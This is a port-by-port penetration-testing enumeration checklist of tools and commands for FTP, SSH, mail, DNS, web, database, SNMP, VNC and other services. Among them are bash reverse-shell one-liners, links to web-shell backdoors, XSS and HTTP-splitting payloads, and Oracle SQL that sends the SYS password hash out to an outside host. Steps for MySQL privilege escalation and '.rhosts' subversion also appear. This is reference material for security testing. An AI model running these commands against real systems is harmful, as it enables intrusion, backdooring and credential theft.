Enumeration Checklist for Penetration Testing

Contents by Service/Port

FTP port 21 open

- Fingerprint server
    - telnet ip_address 21 (Banner grab)
    - Run command ftp ip_address
    - ftp@example.com
    - Check for anonymous access
        - ftp ip_addressUsername: anonymous OR anonPassword: any@email.com
- Password guessing
    - Hydra brute force
    - medusa
    - Brutus
- Examine configuration files
    - ftpusers
    - ftp.conf
    - proftpd.conf
- MiTM
    - pasvagg.pl

SSH port 22 open

- Fingerprint server
    - telnet ip_address 22 (banner grab)
    - scanssh
        - scanssh -p -r -e excludes random(no.)/Network_ID/Subnet_Mask
- Password guessing
    - ssh root@ip_address
    - guess-who
        - ./b -l username -h ip_address -p 22 -2 < password_file_location
    - Hydra brute force
    - brutessh
    - Ruby SSH Bruteforcer
- Examine configuration files
    - ssh_config
    - sshd_config
    - authorized_keys
    - ssh_known_hosts

        - .shosts
    - SSH Client programs
        - tunnelier
        - winsshd
        - putty
        - winscp

Telnet port 23 open

- Fingerprint server
    - telnet ip_address
        - Common Banner ListOS/BannerSolaris 8/SunOS 5.8Solaris 2.6/SunOS 5.6Solaris 2.4 or 2.5.1/Unix(r) System V Release 4.0 (hostname)SunOS 4.1.x/SunOS Unix (hostname)FreeBSD/FreeBSD/i386 (hostname) (ttyp1)NetBSD/NetBSD/i386 (hostname) (ttyp1)OpenBSD/OpenBSD/i386 (hostname) (ttyp1)Red Hat 8.0/Red Hat Linux release 8.0 (Psyche)Debian 3.0/Debian GNU/Linux 3.0 / hostnameSGI IRIX 6.x/IRIX (hostname)IBM AIX 4.1.x/AIX Version 4 (C) Copyrights by IBM and by others 1982, 1994.IBM AIX 4.2.x or 4.3.x/AIX Version 4 (C) Copyrights by IBM and by others 1982, 1996.Nokia IPSO/IPSO (hostname) (ttyp0)Cisco IOS/User Access VerificationLivingston ComOS/ComOS - Livingston PortMaster
    - telnetfp
- Password Attack
    - Common passwords
    - Hydra brute force
    - Brutus
    - telnet -l "-froot" hostname (Solaris 10+)
- Examine configuration files
    - /etc/inetd.conf
    - /etc/xinetd.d/telnet
    - /etc/xinetd.d/stelnet

Sendmail Port 25 open

- Fingerprint server
    - telnet ip_address 25 (banner grab)
- Mail Server Testing

  - Enumerate users
    - VRFY username (verifies if username exists - enumeration of accounts)
    - EXPN username (verifies if username is valid - enumeration of accounts)
  - Mail Spoof Test
    - HELO anything MAIL FROM: spoofed_address RCPT TO:valid_mail_account DATA . QUIT
  - Mail Relay Test
    - HELO anything
      - Identical to/from - mail from: <nobody@domain> rcpt to: <nobody@domain>
      - Unknown domain - mail from: <user@unknown_domain>
      - Domain not present - mail from: <user@localhost>
      - Domain not supplied - mail from: <user>
      - Source address omission - mail from: <> rcpt to: <nobody@recipient_domain>
      - Use IP address of target server - mail from: <user@IP_Address> rcpt to: <nobody@recipient_domain>
      - Use double quotes - mail from: <user@domain> rcpt to: <"user@recipent-domain">
      - User IP address of the target server - mail from: <user@domain> rcpt to: <nobody@recipient_domain@[IP Address]>
      - Disparate formatting - mail from: <user@[IP Address]> rcpt to: <@domain:nobody@recipient-domain>
      - Disparate formatting2 - mail from: <user@[IP Address]> rcpt to: <recipient_domain!nobody@[IP Address]>
- Examine Configuration Files
  - sendmail.cf
  - submit.cf

DNS port 53 open

- Fingerprint server/ service
  - host

    - host [-aCdlnrTwv] [-c class] [-N ndots] [-R number] [-t type] [-W wait] name [server] -v verbose format -t (query type) Allows a user to specify a record type i.e. A, NS, or PTR. -a Same as –t ANY. -l Zone transfer (if allowed). -f Save to a specified filename.
  - nslookup
    - nslookup [-option ...] [host-to-find | - [server]]
  - dig
    - dig [@server] [-b address] [-c class] [-f filename] [-k filename] [-p port#] [-t type] [-x addr] [-y name:key] [-4] [-6] [name] [type] [class] [queryopt...]
  - whois-h Use the named host to resolve the query -a Use ARIN to resolve the query -r Use RIPE to resolve the query -p Use APNIC to resolve the query -Q Perform a quick lookup
- DNS Enumeration
  - Bile Suite
    - perl BiLE.pl [website] [project_name]
    - perl BiLE-weigh.pl [website] [input file]
    - perl vet-IPrange.pl [input file] [true domain file] [output file] <range>
    - perl vet-mx.pl [input file] [true domain file] [output file]
    - perl exp-tld.pl [input file] [output file]
    - perl jarf-dnsbrute [domain_name] (brutelevel) [file_with_names]
    - perl qtrace.pl [ip_address_file] [output_file]
    - perl jarf-rev [subnetblock] [nameserver]
  - txdns
    - txdns -rt -t domain_name
    - txdns -x 50 -bb domain_name
    - txdns --verbose -fm wordlist.dic --server ip_address -rr SOA domain_name -h c: \hostlist.txt
- Examine Configuration Files
  - host.conf
  - resolv.conf
  - named.conf

TFTP port 69 open

- TFTP Enumeration
  - tftp ip_address PUT local_file

  - tftp ip_address GET conf.txt (or other files)
  - Solarwinds TFTP server
  - tftp – i <IP> GET /etc/passwd (old Solaris)
- TFTP Bruteforcing
  - TFTP bruteforcer
  - Cisco-Torch

Finger Port 79 open

- User enumeration
  - finger 'a b c d e f g h' @example.com
  - finger admin@example.com
  - finger user@example.com
  - finger 0@example.com
  - finger .@example.com
  - finger **@example.com
  - finger test@example.com
  - finger @example.com
- Command execution
  - finger "|/bin/id@example.com"
  - finger "|/bin/ls -a /@example.com"
- Finger Bounce
  - finger user@host@victim
  - finger @internal@external

Web Ports 80, 8080 etc. open

- Fingerprint server
  - Telnet ip_address port
  - Firefox plugins
    - All
      - firecat
    - Specific
      - add n edit cookies
      - asnumber
      - header spy
      - live http headers
      - shazou
      - web developer
- Crawl website
  - lynx [options] startfile/URL Options include -traversal -crawl -dump -image_links -source
  - httprint

  - Metagoofil
    - metagoofil.py -d [domain] -l [no. of] -f [type] -o results.html
- Web Directory enumeration
  - Nikto
    - nikto [-h target] [options]
  - DirBuster
  - Wikto
  - Goolag Scanner
- Vulnerability Assessment
  - Manual Tests
    - Default Passwords
    - Install Backdoors
      - ASP
        - http://packetstormsecurity.org/UNIX/penetration/aspxshell.aspx.txt
      - Assorted
        - http://michaeldaw.org/projects/web-backdoor-compilation/
        - http://open-labs.org/hacker_webkit02.tar.gz
      - Perl
        - http://home.arcor.de/mschierlm/test/pmsh.pl
        - http://pentestmonkey.net/tools/perl-reverse-shell/
        - http://freeworld.thc.org/download.php?t=r&f=rwwwshell-2.0.pl.gz
      - PHP
        - http://php.spb.ru/remview/
        - http://pentestmonkey.net/tools/php-reverse-shell/
        - http://pentestmonkey.net/tools/php-findsock-shell/
      - Python
        - http://matahari.sourceforge.net/
      - TCL
        - http://www.irmplc.com/download_pdf.php?src=Creating_Backdoors_in_Cisco_IOS_using_Tcl.pdf&force=yes
      - Bash Connect Back Shell
        - GnuCitizen
          - Atttack Box: nc -l -p Port -vvv

            - Victim: $ exec 5<>/dev/tcp/IP_Address/Port
              Victim: $ cat <&5 | while read line; do $line 2>&5 >&5; done

        - Neohapsis
            - Atttack Box: nc -l -p Port -vvv
            - Victim: $ exec 0</dev/tcp/IP_Address/Port # First we copy our connection over stdin
              Victim: $ exec 1>&0 # Next we copy stdin to stdout
              Victim: $ exec 2>&0 # And finally stdin to stderr
              Victim: $ exec /bin/sh 0</dev/tcp/IP_Address/Port 1>&0 2>&0

- Method Testing
    - nc IP_Adress Port
        - HEAD / HTTP/1.0
        - OPTIONS / HTTP/1.0
        - PROPFIND / HTTP/1.0
        - TRACE / HTTP/1.1
        - PUT http://Target_URL/FILE_NAME
        - POST http://Target_URL/FILE_NAME HTTP/1.x
- Upload Files
    - curl
        - curl -u <username:password> -T file_to_upload <Target_URL>
        - curl -A "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" <Target_URL>
    - put.pl
        - put.pl -h target -r /remote_file_name -f local_file_name
    - webdav
        - cadaver
- View Page Source
    - Hidden Values
    - Developer Remarks
    - Extraneous Code
    - Passwords!

- Input Validation Checks
    - NULL or null
        - Possible error messages returned.
    - ' , " , ; , <!
        - Breaks an SQL string or query; used for SQL, XPath and XML Injection tests.
    - – , = , + , "
        - Used to craft SQL Injection queries.
    - ` , &, ! , ¦ , < , >
        - Used to find command execution vulnerabilities.
    - "><script>alert(1)</script>
        - Basic Cross-Site Scripting Checks.
    - %0d%0a
        - Carriage Return (%0d) Line Feed (%0a)
            - HTTP Splitting
                - language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html>
                    - i.e. Content-Length= 0 HTTP/1.1 200 OK Content-Type=text/html Content-Length=47<html>blah </html>
            - Cache Poisoning
                - language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20304%20Not%20Modified%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Mon,%2027%2

0Oct%202003%2014:50:18 %20GMT%0d%0aContent-Length:%2047%0d%0a%0d %0a<html>Insert undesireable content here</html>

        - %7f , %ff
            - byte-length overflows; maximum 7- and 8-bit values.
        - -1, other
            - Integer and underflow vulnerabilities.
        - %n , %x , %s
            - Testing for format string vulnerabilities.
        - ../
            - Directory Traversal Vulnerabilities.
        - % , _, *
            - Wildcard characters can sometimes present DoS issues or information disclosure.
        - Ax1024+
            - Overflow vulnerabilities.
    - Automated table and column iteration
        - orderby.py
            - ./orderby.py www.site.com/index.php?id=
        - d3sqlfuzz.py
            - ./d3sqlfuzz.py www.site.com/index.php?id=-1+UNION+ALL+SELECT+1,COLUMN,3+FROM+TABLE--
- Vulnerability Scanners
    - Acunetix
    - Grendelscan
    - NStealth
    - Obiwan III
    - w3af
- Specific Applications/ Server Tools
    - Domino
        - dominoaudit
            - dominoaudit.pl [options] -h <IP>
    - Joomla
        - cms_few
            - ./cms.py <site-name>
        - joomsq

- ./joomsq.py <IP>
      - joomlascan
        - ./joomlascan.py <site> <options> [options i.e. -p/-proxy <host:port> : Add proxy support -404 : Don't show 404 responses]
      - joomscan
        - ./joomscan.py -u "www.site.com/joomladir/" -o site.txt -p 127.0.0.1:80
      - jscan
        - jscan.pl -f hostname
        - (shell.txt required)
    - aspaudit.pl
      - asp-audit.pl http://target/app/filename.aspx (options i.e. -bf)
    - Vbulletin
      - vbscan.py
        - vbscan.py <host> <port> -v
        - vbscan.py -update
    - ZyXel
      - zyxel-bf.sh
      - snmpwalk
        - snmpwalk -v2c -c public IP_Address 1.3.6.1.4.1.890.1.2.1.2
      - snmpget
        - snmpget -v2c -c public IP_Address 1.3.6.1.4.1.890.1.2.1.2.6.0
- Proxy Testing
  - Burpsuite
  - Crowbar
  - Interceptor
  - Paros
  - Requester Raw
  - Suru
  - WebScarab
- Examine configuration files
  - Generic
    - Examine httpd.conf/ windows config files
  - JBoss
    - JMX Console http://<IP>:8080/jmxconcole/
      - War File
  - Joomla
    - configuration.php

    - diagnostics.php
    - joomla.inc.php
    - config.inc.php
  - Mambo
    - configuration.php
    - config.inc.php
  - Wordpress
    - setup-config.php
    - wp-config.php
  - ZyXel
    - /WAN.html (contains PPPoE ISP password)
    - /WLAN_General.html and /WLAN.html (contains WEP key)
    - /rpDyDNS.html (contains DDNS credentials)
    - /Firewall_DefPolicy.html (Firewall)
    - /CF_Keyword.html (Content Filter)
    - /RemMagWWW.html (Remote MGMT)
    - /rpSysAdmin.html (System)
    - /LAN_IP.html (LAN)
    - /NAT_General.html (NAT)
    - /ViewLog.html (Logs)
    - /rpFWUpload.html (Tools)
    - /DiagGeneral.html (Diagnostic)
    - /RemMagSNMP.html (SNMP Passwords)
    - /LAN_ClientList.html (Current DHCP Leases)
    - Config Backups
      - /RestoreCfg.html
      - /BackupCfg.html
      - Note: - The above config files are not human readable and the following tool is required to breakout possible admin credentials and other important settings
        - ZyXEL Config Reader
- Examine web server logs
  - c:\winnt\system32\Logfiles\W3SVC1
    - awk -F " " '{print $3,$11} filename | sort | uniq
- References
  - White Papers
    - Cross Site Request Forgery: An Introduction to a Common Web Application Weakness
    - Attacking Web Service Security: Message Oriented Madness, XML Worms and Web Service Security Sanity
    - Blind Security Testing - An Evolutionary Approach

        - Command Injection in XML Signatures and Encryption
        - Input Validation Cheat Sheet
        - SQL Injection Cheat Sheet
    - Books
        - Hacking Exposed Web 2.0
        - Hacking Exposed Web Applications
        - The Web Application Hacker's Handbook
- Exploit Frameworks
    - Brute-force Tools
        - Acunetix
    - Metasploit
    - w3af

Portmapper port 111 open

- rpcdump.py
    - rpcdump.py username:password@IP_Address port/protocol (i.e. 80/HTTP)
- rpcinfo
    - rpcinfo [options] IP_Address

NTP Port 123 open

- NTP Enumeration
    - ntpdc -c monlist IP_ADDRESS
    - ntpdc -c sysinfo IP_ADDRESS
    - ntpq
        - host
        - hostname
        - ntpversion
        - readlist
        - version
- Examine configuration files
    - ntp.conf

NetBIOS Ports 135-139,445 open

- NetBIOS enumeration
    - Enum
        - enum <-UMNSPGLdc> <-u username> <-p password> <-f dictfile> <hostname|ip>
    - Null Session

- net use \\192.168.1.1\ipc$ "" /u:""
  - net view \\ip_address
  - Dumpsec
- Smbclient
  - smbclient -L //server/share password options
- Superscan
  - Enumeration tab.
- user2sid/sid2user
- Winfo

- NetBIOS brute force
  - Hydra
  - Brutus
  - Cain & Abel
  - getacct
  - NAT (NetBIOS Auditing Tool)
- Examine Configuration Files
  - Smb.conf
  - lmhosts

SNMP port 161 open

- Default Community Strings
  - public
  - private
  - cisco
    - cable-docsis
    - ILMI
- MIB enumeration
  - Windows NT
    - .1.3.6.1.2.1.1.5 Hostnames
    - .1.3.6.1.4.1.77.1.4.2 Domain Name
    - .1.3.6.1.4.1.77.1.2.25 Usernames
    - .1.3.6.1.4.1.77.1.2.3.1.1 Running Services
    - .1.3.6.1.4.1.77.1.2.27 Share Information
  - Solarwinds MIB walk
  - Getif
  - snmpwalk
    - snmpwalk -v <Version> -c <Community string> <IP>
  - Snscan
  - Applications
    - ZyXel
      - snmpget -v2c -c <Community String> <IP> 1.3.6.1.4.1.890.1.2.1.2.6.0

            - snmpwalk -v2c -c <Community String> <IP> 1.3.6.1.4.1.890.1.2.1.2
- SNMP Bruteforce
    - onesixtyone
        - onesixytone -c SNMP.wordlist <IP>
    - cat
        - ./cat -h <IP> -w SNMP.wordlist
    - Solarwinds SNMP Brute Force
    - ADMsnmp
- Examine SNMP Configuration files
    - snmp.conf
    - snmpd.conf
    - snmp-config.xml

LDAP Port 389 Open

- ldap enumeration
    - ldapminer
        - ldapminer -h ip_address -p port (not required if default) -d
    - luma
        - Gui based tool
    - ldp
        - Gui based tool
    - openldap
        - ldapsearch [-n] [-u] [-v] [-k] [-K] [-t] [-A] [-L[L[L]]] [-M[M]] [-d debuglevel] [-f file] [-D binddn] [-W] [-w passwd] [-y passwdfile] [-H ldapuri] [-h ldaphost] [-p ldapport] [-P 2|3] [-b searchbase] [-s base|one|sub] [-a never|always|search|find] [-l timelimit] [-z sizelimit] [-O security-properties] [-I] [-U authcid] [-R realm] [-x] [-X authzid] [-Y mech] [-Z[Z]] filter [attrs...]
        - ldapadd [-c][-S file][-n][-v][-k][-K][-M[M]][-d debuglevel][-D binddn][-W][-w passwd][-y passwdfile][-h ldaphost][-p ldap-port][-P 2|3][-O security-properties][-I][-Q][-U authcid][-R realm][-x][-X authzid][-Y mech][-Z[Z]][-f file]
        - ldapdelete [-n][-v][-k][-K][-c][-M[M]][-d debuglevel][-f file][-D binddn][-W][-w passwd][-y passwdfile][-H ldapuri][-h ldaphost][-P 2|3][-p ldapport][-O security-properties][-U authcid][-R realm][-x][-I][-Q] [-X authzid][-Y mech][-Z[Z]][dn]

- ldapmodify [-a][-c][-S file][-n][-v][-k][-K][-M[M]][-d debuglevel][-D binddn][-W][-w passwd][-y passwdfile][-H ldapuri][-h ldaphost][-p ldapport][-P 2|3][-O security-properties][-I][-Q][-U authcid][-R realm][-x][-X authzid][-Y mech][-Z[Z]][-f file]
- ldapmodrdn [-r][-n][-v][-k][-K][-c][-M[M]][-d debuglevel][-D binddn][-W][-w passwd][-y passwdfile] [-H ldapuri][-h ldaphost][-p ldapport][-P 2|3][-O security-properties][-I][-Q][-U authcid][-R realm][-x] [-X authzid][-Y mech][-Z[Z]][-f file][dn rdn]

- ldap brute force
  - bf_ldap
    - bf_ldap -s server -d domain name -u|-U username | users list file name -L|-l passwords list | length of passwords to generate optional: -p port (default 389) -v (verbose mode) -P Ldap user path (default ,CN=Users,)
  - K0ldS
  - LDAP_Brute.pl
- Examine Configuration Files
  - General
    - containers.ldif
    - ldap.cfg
    - ldap.conf
    - ldap.xml
    - ldap-config.xml
    - ldap-realm.xml
    - slapd.conf
  - IBM SecureWay V3 server
    - V3.sas.oc
  - Microsoft Active Directory server
    - msadClassesAttrs.ldif
  - Netscape Directory Server 4
    - nsslapd.sas_at.conf
    - nsslapd.sas_oc.conf
  - OpenLDAP directory server
    - slapd.sas_at.conf
    - slapd.sas_oc.conf
  - Sun ONE Directory Server 5.1
    - 75sas.ldif

PPTP/L2TP/VPN port 500/1723 open

- Enumeration
  - ike-scan
  - ike-probe
- Brute-Force
  - ike-crack
- Reference Material
  - PSK cracking paper
  - SecurityFocus Infocus
  - Scanning a VPN Implementation

Modbus port 502 open

- modscan

rlogin port 513 open

- Rlogin Enumeration
  - Find the files
    - find / -name .rhosts
    - locate .rhosts
  - Examine Files
    - cat .rhosts
  - Manual Login
    - rlogin hostname -l username
    - rlogin <IP>
  - Subvert the files
    - echo ++ > .rhosts
- Rlogin Brute force
  - Hydra

rsh port 514 open

- Rsh Enumeration
  - rsh host [-l username] [-n] [-d] [-k realm] [-f | -F] [-x] [-PN | -PO] command
- Rsh Brute Force
  - rsh-grind
  - Hydra
  - medusa

SQL Server Port 1433 1434 open

- SQL Enumeration
  - piggy
  - SQLPing
    - sqlping ip_address/hostname
  - SQLPing2
  - SQLPing3
  - SQLpoke
  - SQL Recon
  - SQLver
- SQL Brute Force
  - SQLPAT
    - sqlbf -u hashes.txt -d dictionary.dic -r out.rep - Dictionary Attack
    - sqlbf -u hashes.txt -c default.cm -r out.rep - Brute-Force Attack
  - SQL Dict
  - SQLAT
  - Hydra
  - SQLlhf
  - ForceSQL

Citrix port 1494 open

- Citrix Enumeration
  - Default Domain
  - Published Applications
    - ./citrix-pa-scan {IP_address/file | - | random} [timeout]
    - citrix-pa-proxy.pl IP_to_proxy_to [Local_IP]
- Citrix Brute Force
  - bforce.js
  - connect.js
  - Citrix Brute-forcer
  - Reference Material
    - Hacking Citrix - the legitimate backdoor
    - Hacking Citrix - the forceful way

Oracle Port 1521 Open

- Oracle Enumeration
  - oracsec

- Repscan
- Sidguess
- Scuba
- DNS/HTTP Enumeration
    - SQL> SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='SYS')||'.vulnerabilityassessment.co.uk') FROM DUAL; SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='SYS')||'.vulnerabilityassessment.co.uk') FROM DUAL
    - SQL> select utl_http.request('http://gladius:5500/'||(SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='SYS')) from dual;
- WinSID
- Oracle default password list
- TNSVer
    - tnsver host [port]
- TCP Scan
- Oracle TNSLSNR
    - Will respond to: [ping] [version] [status] [service] [change_password] [help] [reload] [save_config] [set log_directory] [set display_mode] [set log_file] [show] [spawn] [stop]
- TNSCmd
    - perl tnscmd.pl -h ip_address
    - perl tnscmd.pl version -h ip_address
    - perl tnscmd.pl status -h ip_address
    - perl tnscmd.pl -h ip_address --cmdsize (40 - 200)
- LSNrCheck
- Oracle Security Check (needs credentials)
- OAT
    - sh opwg.sh -s ip_address
    - opwg.bat -s ip_address
    - sh oquery.sh -s ip_address -u username -p password -d SID OR c:\oquery -s ip_address -u username -p password -d SID
- OScanner
    - sh oscanner.sh -s ip_address
    - oscanner.exe -s ip_address
    - sh reportviewer.sh oscanner_saved_file.xml

    - reportviewer.exe oscanner_saved_file.xml
  - NGS Squirrel for Oracle
  - Service Register
    - Service-register.exe ip_address
  - PLSQL Scanner 2008
- Oracle Brute Force
  - OAK
    - ora-getsid hostname port sid_dictionary_list
    - ora-auth-alter-session host port sid username password sql
    - ora-brutesid host port start
    - ora-pwdbrute host port sid username password-file
    - ora-userenum host port sid userlistfile
    - ora-ver -e (-f -l -a) host port
  - breakable (Targets Application Server Port)
    - breakable.exe host url [port] [v]host ip_address of the Oracle Portal Serverurl PATH_INFO i.e. /pls/orassoport TCP port Oracle Portal Server is serving pages fromv verbose
  - SQLInjector (Targets Application Server Port)
    - sqlinjector -t ip_address -a database -f query.txt -p 80 -gc 200 -ec 500 -k NGS SOFTWARE -gt SQUIRREL
    - sqlinjector.exe -t ip_address -p 7777 -a where -gc 200 -ec 404 -qf q.txt -f plsql.txt -s oracle
  - Check Password
  - orabf
    - orabf [hash]:[username] [options]
  - thc-orakel
    - Cracker
    - Client
    - Crypto
  - DBVisualisor
    - Sql scripts from pentest.co.uk
    - Manual sql input of previously reported vulnerabilties
- Oracle Reference Material
  - Understanding SQL Injection
  - SQL Injection walkthrough
  - SQL Injection by example
  - Advanced SQL Injection in Oracle databases
  - Blind SQL Injection
  - SQL Cheatsheets
    - http://ha.ckers.org/sqlinjection

http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
http://www.0x000000.com/?i=14
http://pentestmonkey.net/

NFS Port 2049 open

- NFS Enumeration
    - showmount -e hostname/ip_address
    - mount -t nfs ip_address:/directory_found_exported /local_mount_point
- NFS Brute Force
    - Interact with NFS share and try to add/delete
    - Exploit and Confuse Unix
- Examine Configuration Files
    - /etc/exports
    - /etc/lib/nfs/xtab

Compaq/HP Insight Manager Port 2301,2381open

- HP Enumeration
    - Authentication Method
        - Host OS Authentication
        - Default Authentication
            - Default Passwords
    - Wikto
    - Nstealth
- HP Bruteforce
    - Hydra
    - Acunetix
- Examine Configuration Files
    - path.properties
    - mx.log
    - CLIClientConfig.cfg
    - database.props
    - pg_hba.conf
    - jboss-service.xml
    - .namazurc

MySQL port 3306 open

- Enumeration
    - nmap -A -n -p3306 <IP Address>

  - nmap -A -n -PN --script:ALL -p3306 <IP Address>
  - telnet IP_Address 3306
  - use test; select * from test;
  - To check for other DB's -- show databases
- Administration
  - MySQL Network Scanner
  - MySQL GUI Tools
  - mysqlshow
  - mysqlbinlog
- Manual Checks
  - Default usernames and passwords
    - username: root password:
    - testing
      - mysql -h <Hostname> -u root
      - mysql -h <Hostname> -u root
      - mysql -h <Hostname> -u root@localhost
      - mysql -h <Hostname>
      - mysql -h <Hostname> -u ""@localhost
  - Configuration Files
    - Operating System
      - windows
        - config.ini
        - my.ini
          - windows\my.ini
          - winnt\my.ini
        - <InstDir>/mysql/data/
      - unix
        - my.cnf
          - /etc/my.cnf
          - /etc/mysql/my.cnf
          - /var/lib/mysql/my.cnf
          - ~/.my.cnf
          - /etc/my.cnf
    - Command History
      - ~/.mysql.history
    - Log Files
      - connections.log
      - update.log
      - common.log
    - To run many sql commands at once -- mysql -u username -p < manycommands.sql
    - MySQL data directory (Location specified in my.cnf)
      - Parent dir = data directory
      - mysql

      - test
      - information_schema (Key information in MySQL)
        - Complete table list -- select table_schema,table_name from tables;
        - Exact privileges -- select grantee, table_schema, privilege_type FROM schema_privileges;
        - File privileges -- select user,file_priv from mysql.user where user='root';
        - Version -- select version();
        - Load a specific file -- SELECT LOAD_FILE('FILENAME');
    - SSL Check
      - mysql> show variables like 'have_openssl';
        - If there's no rows returned at all it means the distro itself doesn't support SSL connections and probably needs to be recompiled. If it disabled it means that the service just wasn't started with ssl and can be easily fixed.
  - Privilege Escalation
    - Current Level of access
      - mysql>select user();
      - mysql>select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user where user='OUTPUT OF select user()';
    - Access passwords
      - mysql> use mysql
      - mysql> select user,password from user;
    - Create a new user and grant him privileges
      - mysql>create user test identified by 'test';
      - mysql> grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
    - Break into a shell
      - mysql> \! cat /etc/passwd
      - mysql> \! bash
- SQL injection
  - mysql-miner.pl
    - mysql-miner.pl http://target/ expected_string database

        - http://www.imperva.com/resources/adc/sql_injection_signatures_evasion.html
        - http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/
    - References.
        - Design Weaknesses
            - MySQL running as root
            - Exposed publicly on Internet
        - http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=mysql
        - http://search.securityfocus.com/swsearch?sbm=%2F&metaname=alldoc&query=mysql&x=0&y=0

RDesktop port 3389 open

- Rdesktop Enumeration
    - Remote Desktop Connection
- Rdesktop Bruteforce
    - TSGrinder
        - tsgrinder.exe -w dictionary_file -l leet -d workgroup -u administrator -b -n 2 IP_Address
    - Tscrack

Sybase Port 5000+ open

- Sybase Enumeration
    - sybase-version ip_address from NGS
- Sybase Vulnerability Assessment
    - Use DBVisualiser
        - Sybase Security checksheet
            - Copy output into excel spreadsheet
            - Evaluate mis-configured parameters
        - Manual sql input of previously reported vulnerabilties
            - Advanced SQL Injection in SQL Server
            - More Advanced SQL Injection
    - NGS Squirrel for Sybase

SIP Port 5060 open

- SIP Enumeration
    - netcat
        - nc IP_Address Port
    - sipflanker
        - python sipflanker.py 192.168.1-254

        - Sipscan
        - smap
            - smap IP_Address/Subnet_Mask
            - smap -o IP_Address/Subnet_Mask
            - smap -l IP_Address
    - SIP Packet Crafting etc.
        - sipsak
            - Tracing paths: - sipsak -T -s sip:usernaem@domain
            - Options request:- sipsak -vv -s sip:username@domain
            - Query registered bindings:- sipsak -I -C empty -a password -s sip:username@domain
        - siprogue
    - SIP Vulnerability Scanning/ Brute Force
        - tftp bruteforcer
            - Default dictionary file
            - ./tftpbrute.pl IP_Address Dictionary_file Maximum_Processes
        - VoIPaudit
        - SiVuS
    - Examine Configuration Files
        - SIPDefault.cnf
        - asterisk.conf
        - sip.conf
        - phone.conf
        - sip_notify.conf
        - <Ethernet address>.cfg
        - 000000000000.cfg
        - phone1.cfg
        - sip.cfg etc. etc.

VNC port 5900^ open

- VNC Enumeration
    - Scans
        - 5900^ for direct access.5800 for HTTP access.
- VNC Brute Force
    - Password Attacks
        - Remote
            - Password Guess
                - vncrack
            - Password Crack
                - vncrack
                - Packet Capture

- Phosshttp://www.phenoelit.de/phoss
- Local
  - Registry Locations
    - \HKEY_CURRENT_USER\Software\ORL\WinVNC3
    - \HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3
  - Decryption Key
    - 0x238210763578887
- Exmine Configuration Files
  - .vnc
  - /etc/vnc/config
  - $HOME/.vnc/config
  - /etc/sysconfig/vncservers
  - /etc/vnc.conf

X11 port 6000^ open

- X11 Enumeration
  - List open windows
  - Authentication Method
    - Xauth
    - Xhost
- X11 Exploitation
  - xwd
    - xwd -display 192.168.0.1:0 -root -out 192.168.0.1.xpm
  - Keystrokes
    - Received
    - Transmitted
  - Screenshots
  - xhost +
- Examine Configuration Files
  - /etc/Xn.hosts
  - /usr/lib/X11/xdm
    - Search through all files for the command "xhost +" or "/usr/bin/X11/xhost +"
  - /usr/lib/X11/xdm/xsession
  - /usr/lib/X11/xdm/xsession-remote
  - /usr/lib/X11/xdm/xsession.0
  - /usr/lib/X11/xdm/xdm-config
    - DisplayManager*authorize:on

Tor Port 9001, 9030 open

- Tor Node Checker
  - Ip Pages
  - Kewlio.net
- nmap NSE script

Jet Direct 9100 open

- hijetta